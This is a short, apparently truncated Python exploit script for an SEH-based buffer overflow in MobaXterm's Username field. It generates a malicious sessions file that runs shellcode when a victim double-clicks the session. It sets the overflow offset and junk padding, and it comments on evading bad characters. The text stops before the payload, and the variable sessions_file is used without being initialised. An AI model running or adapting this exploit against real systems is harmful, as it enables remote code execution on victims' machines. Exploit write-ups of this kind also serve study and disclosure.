# Exploit Development process: https://xavibel.com/2019/09/01/mobaxterm-buffer-overflow-malicious-sessions-file-import/

# Description:
# SEH based Buffer Overflow in the Username field of a valid session
# This exploit generates a malicious MobaXterm sessions file
# When the user double clicks in the session, the shellcode is going to be executed
# You need to adapt the exploit to your current OS Windows version

#!/usr/bin/env python

# This is not the IP address of the reverse shell
# To be able to exploit the BOF you need to have a real machine with an open port that the target machine can reach

ip_address = "192.168.1.88"
port = "22"

# We are going to recreate a MobaXterm sessions file export
print ("[+] Creating the malicious MobaXterm file...")

sessions_file += "[Bookmarks]\n"
sessions_file += "SubRep=\n"
sessions_file += "ImgNum=42\n"
sessions_file += "pwnd=#109#0%" + ip_address + "%" + port + "%"

# Here is the SEH Based Buffer Overflow part

# [*] Exact match at offset 16672
# We have to substract 4 that corresponds to NSEH
junk1 = "A" * 16668

# Here we need to jump forward but EB is a bad char
# We decrease ESP and use a conditional jump after
# I have learned this trick in OSCE. Thank you Muts
